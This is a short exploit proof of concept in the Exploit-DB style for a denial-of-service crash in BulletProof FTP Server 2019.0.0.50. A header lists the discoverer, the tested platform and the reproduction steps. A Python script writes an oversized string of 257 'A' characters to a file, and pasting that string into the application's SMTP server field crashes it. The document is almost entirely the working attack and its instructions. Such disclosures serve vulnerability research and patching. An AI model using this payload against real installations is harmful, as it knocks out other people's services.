#Exploit Title: BulletProof FTP Server 2019.0.0.50 - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2018-02-19#Vendor Homepage: http://bpftpserver.com/#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download#Tested Version: 2019.0.0.50#Tested on: Windows 7 x64 Service Pack 1#Steps to produce the crash:#1.- Run python code: BulletProof_FTP_Server_2019.0.0.50.py#2.- Open bullet.txt and copy content to clipboard#3.- Open BulletProof FTP Server#4.- Select "Settings" > "SMTP"#5.- In "Email Server" select "SMTP Server" and Paste Clipboard#6.- Click on "Test"#7.- Crashed
cod = "\x41"* 257
f = open('bullet.txt','w')
f.write(cod)
f.close()